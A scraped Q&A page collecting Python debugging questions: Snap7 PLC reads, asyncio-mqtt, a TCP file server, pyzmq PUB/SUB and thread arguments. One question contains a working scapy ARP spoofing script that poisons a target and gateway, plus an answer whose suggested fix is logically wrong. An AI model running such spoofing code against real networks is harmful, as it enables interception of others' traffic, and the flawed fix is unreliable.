Job Pending Exception During Snap7-Python Data Read / Write to PLC - python

During reading and writing data to Siemens s7 1200 PLC with Python- Snap7, I get an Exception as follows:
Exception in thread Thread-2:
Traceback (most recent call last):
File "C:\Users\MDoganli\AppData\Local\Programs\Python\Python37-32\Lib\threading.py", line 917, in _bootstrap_inner
self.run()
File "C:\Users\MDoganli\AppData\Local\Programs\Python\Python37-32\Lib\threading.py", line 865, in run
self._target(*self._args, **self._kwargs)
File "C:\Companies\Personal\deneme\deneme_iterasyonlar\plcman.py", line 59, in read_data
torque=plc.read_area(areas['DB'],110,80,24)
File "C:\Users\MDoganli\AppData\Local\Programs\Python\Python37-32\lib\site-packages\snap7\client.py", line 256, in read_area
check_error(result, context="client")
File "C:\Users\MDoganli\AppData\Local\Programs\Python\Python37-32\lib\site-packages\snap7\common.py", line 65, in check_error
raise Snap7Exception(error)
snap7.snap7exceptions.Snap7Exception: b'CLI : Job pending'
I don't experience this problem during single channel db_read/db_write but occurs when an additional read or write channel is active.
I have tried area_read & area_write and db_read and db_write options but receive similar errors.
Main Code:
plc=plcman.PLC_Controller('192.168.30.100',0,1)
plc.connect()
time.sleep(1)
plc.start_thread2()
time.sleep(1)
plc.start_thread()
PLC Data-Read Write Code
class PLC_Controller:
plc=c.Client()
def __init__(self, address, rack, slot):
self.address = address
self.rack = rack
self.slot = slot
def connect(self):
count = 0
if plc.get_connected() == False:
print("Try " + str(count) + " - Connecting to PLC: " +
self.address + ", Rack: " + str(self.rack) + ", Slot: " + str(self.slot))
try:
plc.connect(self.address, self.rack, self.slot) #('IP-address', rack, slot)
except Exception as e:
print(e)
if plc.get_connected() == True:
return plc.get_connected() == True
def get_word(self,_bytearray, byte_index):
data = _bytearray[byte_index:byte_index + 2]
data=data[::-1]
dword = struct.unpack('H', struct.pack('2B', *data))[0]
return dword
def read_data(self):
torque=plc.read_area(areas['DB'],110,80,24)
data1=self.get_word(torque,0)
time.sleep(0.8)
self.read_data()
def start_thread(self):
thread = threading.Thread(target=self.read_data, args=())
thread.daemon = True
thread.start()
def set_word(self,_bytearray, byte_index, word):
word=int(word)
_bytes = struct.pack('H', word)
_bytes=_bytes[::-1]
for i, b in enumerate(_bytes):
time.sleep(1)
_bytearray[byte_index + i] = b
res=plc.write_area(areas['DB'],110,24,_bytearray)
def start_thread2(self):
thread = threading.Thread(target=self.stoprun, args=())
thread.daemon = True
thread.start()
def stoprun(self):
Lamp=4
torque=plc.read_area(areas['DB'],110,80,24)
val1=self.set_word(torque, 0, 8)
self.stoprun()
Thanks in advance.

read & write should have different instances of PLC connection. Modified connection will be:
plc=plcman.PLC_Controller('192.168.30.100',0,1) # for reading use plc.read_area()
plc.connect()
plc2=plcman.PLC_Controller('192.168.30.100',0,1)
plc2.connect() #for writing use plc2.write_area()
upto 3 instances are allowed. During read&write "job pending" will not be received

Related

coroutine was never awaited in async-mqtt

I have a problem with asyncio, in this program I use asyncua that is for OPC protocol and asyncio_mqtt, my program should wait for connection to broker even if any problem occurred in broker side, it should wait until get connected again but this error happened:
Closing Loop
Reconnect to Server in 3 ...
Reconnect to Server in 2 ...
Traceback (most recent call last):
File "C:\Users\O.Fathi\PycharmProjects\OpcProject\final_main.py", line 310, in <module>
main(server_state)
File "C:\Users\O.Fathi\PycharmProjects\OpcProject\final_main.py", line 300, in main
clientMqtt = asyncio.SelectorEventLoop().run_until_complete(asyncio.wait([test()]))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\O.Fathi\AppData\Local\Programs\Python\Python311\Lib\asyncio\base_events.py", line 650, in run_until_complete
return future.result()
^^^^^^^^^^^^^^^
File "C:\Users\O.Fathi\AppData\Local\Programs\Python\Python311\Lib\asyncio\tasks.py", line 415, in wait
raise TypeError("Passing coroutines is forbidden, use tasks explicitly.")
TypeError: Passing coroutines is forbidden, use tasks explicitly.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Users\O.Fathi\PycharmProjects\OpcProject\final_main.py", line 324, in <module>
asyncio.run(main(server_state))
^^^^^^^^^^^^^^^^^^
File "C:\Users\O.Fathi\PycharmProjects\OpcProject\final_main.py", line 300, in main
clientMqtt = asyncio.SelectorEventLoop().run_until_complete(asyncio.wait([test()]))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\O.Fathi\AppData\Local\Programs\Python\Python311\Lib\asyncio\base_events.py", line 650, in run_until_complete
return future.result()
^^^^^^^^^^^^^^^
File "C:\Users\O.Fathi\AppData\Local\Programs\Python\Python311\Lib\asyncio\tasks.py", line 415, in wait
raise TypeError("Passing coroutines is forbidden, use tasks explicitly.")
TypeError: Passing coroutines is forbidden, use tasks explicitly.
Reconnect to Server in 1 ...
sys:1: RuntimeWarning: coroutine 'test' was never awaited
Process finished with exit code 1
Here is some part of program, in main function, test function called and run async-mqtt:
import asyncio
import json
import logging
import time
from dataStructure import *
from opcConnection import *
from asyncua.ua import ObjectIds
from asyncua.ua.uatypes import NodeId
from asyncua import Client, Node, ua
from asyncio_mqtt import Client as ClientM
from asyncio_mqtt import MqttError
from asyncer import asyncify
async def test() -> None:
structPad = set_structure('>8sh')
structData = set_structure('<hffbb')
firstTime = True
timeSync = None
dataDict = {}
try:
logger.info("Connecting to MQTT")
async with ClientM(hostname="192.168.1.51", port=1883, client_id="OPC_client") as clientMqtt:
logger.info("Connection to MQTT open")
async with clientMqtt.unfiltered_messages() as messages:
await clientMqtt.subscribe(mqttTopic)
async for message in messages:
if message.topic == "TimeSync":
timeSync = message.payload
print(timeSync)
if firstTime:
await clientMqtt.publish("ready_to_Receive_opc_topic", payload="")
firstTime = False
if message.topic == "send_opc_tag":
print(message.payload.decode("UTF-8"))
dataBase, opcServers = await create_database(message)
dataDict, client = await create_dataDict(dataBase)
print(dataDict)
logger.info(
"Message %s %s", message.topic, message.payload
)
if message.topic == "Receive_OPC_Server":
bMessage = message.payload.decode('UTF-8')
# dataBase = json.loads(bMessage["send_opc_tag"])
client_rec = await opcConnection(bMessage)
if client_rec != 0:
nodesTree = await catchNodes(client_rec)
await clientMqtt.publish('OPC_Server_Tree', nodesTree)
print("Tree Cached")
else:
clientMqtt.publish('OPC_Server_Tree', "")
print("Not Tree")
if dataDict != {}:
dataDict = await get_values(dataDict, client)
value = []
percentt = []
id = []
for i in dataDict:
id.append(i)
if dataDict[i]["nodeList"] != []:
if dataDict[i]["values"][0] is None:
value.append(00.00)
dataDict[i]["percent"] = 00.00
percentt.append(0.0)
else:
value.append(dataDict[i]["values"][0])
dataDict[i]["percent"] = percentage(dataDict[i]["VMX"], dataDict[i]["VMN"],
dataDict[i]["values"])
percentt.append(dataDict[i]["percent"][0])
dataDict[i]["timeStamp"] = timeSync
dataDict[i]['bufferSize'] = buffer_data_get_padding(structPad, dataDict[i]["bufferSize"], 0,
timeSync, 1)
values = {
"id": id,
"values": value,
"percent": percentt,
"buffer": estimate_buffer_size(len(value))
}
buffer = values["buffer"]
buffer_data_get_padding(structPad, buffer, 0, timeSync, len(value))
buffer_data_get(structData, buffer, values)
print(values["values"])
await clientMqtt.publish("live_OPC_tags_value", payload=buffer)
except MqttError as e:
logger.error("Connection to MQTT closed: " + str(e))
except Exception:
logger.exception("Connection to MQTT closed")
await asyncio.sleep(3)
clientMqtt = None
server_state = True
def main(server_state):
mqttTopic = [("send_opc_tag", QOS_1), ("TimeSync", QOS_1), ("Receive_OPC_Server", QOS_1)]
clientMqtt = asyncio.SelectorEventLoop().run_until_complete(asyncio.wait([test()]))
if __name__ == "__main__":
try:
set_connection = True
main(server_state)
except KeyboardInterrupt:
pass
finally:
print("Closing Loop")
for i in range(3):
time.sleep(1)
print(f"Reconnect to Server in {3 - i} ...")
asyncio.run(main(server_state))

why am I getting an index error saying my list is out of range when writing an ARP spoofing attack?

I'm trying to get the mac address to be automatically added to the spoof and restore function instead of typing it manually. Not too long ago it worked fine but now it doesn't. The "get_mac" function works by itself but not when I add it this code. Why am I getting this error?:
Traceback (most recent call last):
File "arp_spoof.py", line 33, in <module>
spoof(target_ip_str, spoof_ip_str)
File "arp_spoof.py", line 15, in spoof
target_mac = get_mac(target_ip_str)
File "arp_spoof.py", line 11, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
This is my code:
import scapy.all as sc
import time
def get_mac(ip):
arp_request = sc.ARP(pdst=ip)
broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_request = broadcast/arp_request
answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip_str)
packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sc.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(target_ip_str)
source_mac = get_mac(source_ip)
packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
sc.send(packet, count=4, verbose=False)
packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")
try:
while True:
spoof(target_ip_str, spoof_ip_str)
spoof(spoof_ip_str, target_ip_str)
packet_sent_count += 2
print("\r[+] Packets sent: " + str(packet_sent_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
restore(target_ip_str, spoof_ip_str)
restore(spoof_ip_str, target_ip_str)
In the get_mac function write an if statement and check if the answered_list is empty; if it is, then return answered_list, just like so:
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
if answered_list == "":
return answered_list[0][1].hwsrc

Downloading a file using TCP(Client/Server)?

I am trying to make a TCP (Client and Server) in python to download a file that is available on the Server. I am a total beginner in networking in Python, and following a tutorial for this purpose. The problem I am getting is that whenever I try to download a file from the server I get this error:
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python3.4/threading.py", line 920, in _bootstrap_inner
self.run()
File "/usr/lib/python3.4/threading.py", line 868, in run
self._target(*self._args, **self._kwargs)
File "fileServer.py", line 8, in RetrFile
sock.send("EXISTS " + str(os.path.getsize(filename)));
TypeError: 'str' does not support the buffer interface
FileServer.py
import socket;
import threading;
import os;
def RetrFile(name,sock):
filename = sock.recv(1024).decode();
if os.path.isfile(filename):
sock.send("EXISTS " + str(os.path.getsize(filename)));
userResponse = sock.recv(1024).decode();
if (userResponse[:2] == 'OK'):
with open(filename,'rb') as f:
bytesToSend = f.read(1024);
sock.send(bytesToSend);
while (bytesToSend != ""):
byteToSend = f.read(1024);
sock.send(bytesToSend);
else:
sock.send("ERR");
sock.close();
def Main():
host = "127.0.0.1";
port = 5003;
s = socket.socket();
s.bind((host,port));
s.listen(5);
print("Server Started.")
while True:
c , addr = s.accept();
print("Client connected ip : " + str(addr));
t = threading.Thread(target = RetrFile,args=("retrThread",c))
t.start();
s.close();
if __name__ == '__main__':
Main();
FileClient.py
import socket
def Main():
host = "127.0.0.1";
port = 5003;
s = socket.socket();
s.connect((host,port));
filename = input("Filename? -> ");
if (filename != "q"):
s.send(filename.encode())
data = s.recv(1024)
if (data[:6] == "EXISTS"):
filesize = long(data[6:])
message = input("File Exists, " + str(fielsize) + "Bytes, download? (Y/N)? -> ");
if (message == "Y"):
s.send("OK")
f = open('new_'+filename,'wb')
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while(totalRecv < filesize):
data = s.recv(1024);
totalRecv += len(data)
f.write(data)
print("{0:.2f}".format((totalRecv/float(filesize))*100 + "%Done"));
print("Download Complete!");
else:
print("File does not exist!");
s.close();
if __name__ == '__main__':
Main();
You need to be sending bytes to the socket, not a string. You can convert a string to a bytes with .encode() Try:
message = "EXISTS " + str(os.path.getsize(filename))
sock.send(message.encode())
As a side note, you don't need semicolons when using Python, so I would recommend removing them from your code.

Python pyzmq: program stucks

It is a simple PUB/SUB program using pyzmq and multiprocessing.
The server is PUB. It sends a slice of an ahah list to client SUB every time.
The client SUB first .recv_string() one message, then it changes the socket .recv_string()-processing mode to a NOBLOCK one, inside the .Poller() loop.
import logging
import zmq
from multiprocessing import Process
def server_init(port_pub):
ahah = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
index = 0
num = 2
context = zmq.Context()
socket_pub = context.socket(zmq.PUB)
socket_pub.bind("tcp://127.0.0.1:%s" % port_pub)
# socket_rep = context.socket(zmq.REP)
# socket_rep.bind("tcp://*:%s" % port_rep)
socket_pub.send_string(' '.join(str(v) for v in ahah[index : index + num - 1]))
index = index + num
poller_pub = zmq.Poller()
poller_pub.register(socket_pub, zmq.POLLOUT)
should_continue = True
while should_continue:
socks = dict(poller_pub.poll())
if socket_pub in socks and socks[socket_pub] == zmq.POLLOUT and index <= 9:
socket_pub.send_string(' '.join(str(v) for v in ahah[index : index + num - 1]), zmq.NOBLOCK)
index = index + num
else:
should_continue = False
poller_pub.unregister(socket_pub)
def client(port_sub):
context = zmq.Context()
socket_sub = context.socket(zmq.SUB)
socket_sub.connect("tcp://127.0.0.1:%s" % port_sub)
tmp = socket_sub.recv_string()
process_message(tmp)
poller_sub = zmq.Poller()
poller_sub.register(socket_sub, zmq.POLLIN)
should_continue = True
while should_continue:
socks = dict(poller_sub.poll())
if socket_sub in socks and socks[socket_sub] == zmq.POLLIN:
tmp = socket_sub.recv_string(zmq.NOBLOCK)
process_message(tmp)
else:
should_continue = False
poller_pub.unregister(socket_sub)
def process_message(msg):
print("Processing ... %s" % msg)
if __name__ == '__main__':
logging.info('starting')
Process(target=server_init, args=(5566,)).start()
Process(target=client, args=(5566,)).start()
When I launch the program, it just stucks there and outputs nothing like:
$ python test.py
Until after a Ctrl-C is pressed:
$ python test2.py
^CProcess Process-2:
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
File "/Users/jack/.pyenv/versions/3.5.1/lib/python3.5/multiprocessing/popen_fork.py", line 29, in poll
pid, sts = os.waitpid(self.pid, flag)
KeyboardInterrupt
Traceback (most recent call last):
File "/Users/jack/.pyenv/versions/3.5.1/lib/python3.5/multiprocessing/process.py", line 254, in _bootstrap
self.run()
File "/Users/jack/.pyenv/versions/3.5.1/lib/python3.5/multiprocessing/process.py", line 93, in run
self._target(*self._args, **self._kwargs)
File "test2.py", line 38, in client
tmp = socket_sub.recv_string()
File "/Users/jack/.pyenv/versions/3.5.1/lib/python3.5/site-packages/zmq/sugar/socket.py", line 402, in recv_string
b = self.recv(flags=flags)
File "zmq/backend/cython/socket.pyx", line 674, in zmq.backend.cython.socket.Socket.recv (zmq/backend/cython/socket.c:6971)
File "zmq/backend/cython/socket.pyx", line 708, in zmq.backend.cython.socket.Socket.recv (zmq/backend/cython/socket.c:6763)
File "zmq/backend/cython/socket.pyx", line 145, in zmq.backend.cython.socket._recv_copy (zmq/backend/cython/socket.c:1931)
File "zmq/backend/cython/checkrc.pxd", line 12, in zmq.backend.cython.checkrc._check_rc (zmq/backend/cython/socket.c:7222)
KeyboardInterrupt
I think the client should at least .recv() one msg.
But why not?
Why?
Besides other reasons, your client side has simply forgotten to subscribe to anything meaningful before calling the first .recv_string(), thus it hangs forever in a blocking-mode receive, while there is nothing that can meet the SUB-side TOPIC-filter on received messages and thus no such one will ever pass to .recv_string()-processing.
Just add socket_sub.setsockopt( "" ) as the ZeroMQ default is to rather subscribe to nothing ( as no one can indeed guess any magic of what shall pass the TOPIC-filter in one's actual context, so as a paradox, nothing seems to be the best choice available in this sense ).
Next also be careful on timing ( .bind() / .connect() ) sensitivity.
For more details, do not hesistate to download and read the fabulous Pieter HINTJENS' book "Code Connected, Volume 1".

Python Threading More then one agrument given

I am trying to start threads and I keep getting and error message saying that I am trying to send more than one argument. It seems like the Thread object does not take the variable port as one argument but rather each character in the string as one separate argument. How is this working ? It is my first time multithreading in python.
Error message:
Exception in thread /dev/ttyUSB0:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
TypeError: report() takes exactly 1 argument (12 given)
Code:
def report(port):
print("\n")
print(st() +"Connecting to" + port[0])
device = serial.Serial(port=port[0], baudrate=9600, timeout=0.2)
print (st() + "Connection sucessfull...")
print (st() + "Initializing router on "+ port[0])
if initialize_router(device) == 0:
return 0
print (st() + "Initialization sucessfull")
print (st() + "Starting to inject IP basic config")
if inject_config(device) == 0:
print(errror("injecing the confing",port[0]))
return 0
print(st()+ "Finished injecting default IP setting on router connected to " + port[0])
return 1
if __name__ == '__main__':
ports = list_ports.comports()
list_port = list(ports)
port_counter = -1
for port in list_port:
if "USB" in port[0]:
port_counter = port_counter + 1
port = "/dev/ttyUSB" + str(port_counter)
thread = Thread(target=report, args=(port), name=port)
thread.start()
print port
print ("\n")
continue
thread = Thread(target=report, args=(port), name=port)
I'm guessing you wanted to pass a single element tuple to args here. But those parentheses around port have no effect by themselves. Try:
thread = Thread(target=report, args=(port,), name=port)

Categories